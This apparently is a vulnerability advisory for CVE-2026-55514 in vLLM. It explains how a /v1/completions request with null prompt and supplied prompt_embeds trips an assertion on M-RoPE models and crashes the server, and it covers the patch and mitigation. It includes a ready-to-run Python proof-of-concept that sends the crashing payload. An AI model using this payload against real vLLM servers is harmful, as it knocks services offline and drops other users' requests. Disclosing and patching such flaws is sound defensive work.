CVE-2026-55514: vLLM Denial of Service via Prompt Embeds on M-RoPE Models
Sending a pre-computed embedding payload to vLLM's completions endpoint crashes the entire server when an M-RoPE model is loaded, because a type-narrowing assertion always fails for embedding-only…
The problem
vLLM's GPUModelRunner._init_mrope_positions method contains a bare assert req_state.prompt_token_ids is not None added in commit 56669c1 to satisfy the type checker. This assertion is reachable by any authorized API caller.
A /v1/completions request that sets prompt=null and supplies prompt_embeds legally creates a CachedRequestState where prompt_token_ids is None. When an M-RoPE model (Qwen2-VL, Qwen3-VL, and similar) processes that state, the assertion fires, the EngineCore subprocess dies with AssertionError, and the API server follows with EngineDeadError.
The process does not recover. Every in-flight request is dropped and the server must be restarted manually.
Proof of concept
A working proof-of-concept for CVE-2026-55514 in vllm, with the exact payload below.
import base64
import io
import requests
import torch
import transformers
# Requires: vllm serve <mrope-model> --enable-prompt-embeds
# e.g. vllm serve Qwen/Qwen2-VL-7B-Instruct --enable-prompt-embeds
MODEL = "Qwen/Qwen2-VL-7B-Instruct"
HIDDEN_SIZE = 3584 # Qwen2-VL-7B hidden dim; adjust per model
SEQ_LEN = 8 # any non-zero length works
# Build a minimal random float16 tensor of shape (SEQ_LEN, HIDDEN_SIZE)
fake_embeds = torch.zeros(SEQ_LEN, HIDDEN_SIZE, dtype=torch.float16)
# Serialize with torch.save (required format for vLLM prompt_embeds)
buf = io.BytesIO()
torch.save(fake_embeds, buf)
buf.seek(0)
encoded = base64.b64encode(buf.read()).decode()
# Send to a running vLLM server with an M-RoPE model
resp = requests.post(
"http://localhost:8000/v1/completions",
json={
"model": MODEL,
"prompt": None, # <-- key: no token ids
"prompt_embeds": encoded, # <-- triggers the assertion
"max_tokens": 1,
},
)
print(resp.status_code, resp.text)
# Server EngineCore crashes; subsequent requests return 500 EngineDeadErrorThe root cause is CWE-617 (Reachable Assertion). The offending line assert req_state.prompt_token_ids is not None was intended only to narrow types for the mypy checker, not as a runtime guard. It assumes token IDs are always present, but the /v1/completions schema permits prompt=null with prompt_embeds set, which produces a valid CachedRequestState where prompt_token_ids is None.
The patch (commit 470229c, PR #45252) removes the fatal assert and replaces it with a conditional branch: if prompt_token_ids is present, use it; if only prompt_embeds is present, derive a synthetic list of dummy integer token IDs whose length matches the embedding sequence length.
Because get_mrope_input_positions only needs len(input_tokens) when no multimodal features are present (the pure text-embed case), the dummy IDs are functionally correct and safe.
The fix
Upgrade to vllm >= 0.24.0. The fix is in commit 470229c37efaf69c86e8bc97482b0b1ff7551c65 (PR #45252). If you cannot upgrade immediately, avoid deploying M-RoPE models (Qwen2-VL, Qwen3-VL, etc.) with the --enable-prompt-embeds flag enabled at the same time, as that combination is the only path to this crash in online serving.
Reported by jperezdealgaba.
Related research
- high · 7.5CVE-2026-54234CVE-2026-54234: vLLM Remote DoS via Invalid Recovered Token Reinjection in Speculative Decoding
- high · 8.2CVE-2026-53501CVE-2026-53501: thumbor HMAC Signature Validation Bypass via Repeated URL Segments
- high · 7.5CVE-2026-53503CVE-2026-53503: thumbor convolution filter remote divide-by-zero DoS
- high · 7.5CVE-2026-53504CVE-2026-53504: thumbor ReDoS in convolution Filter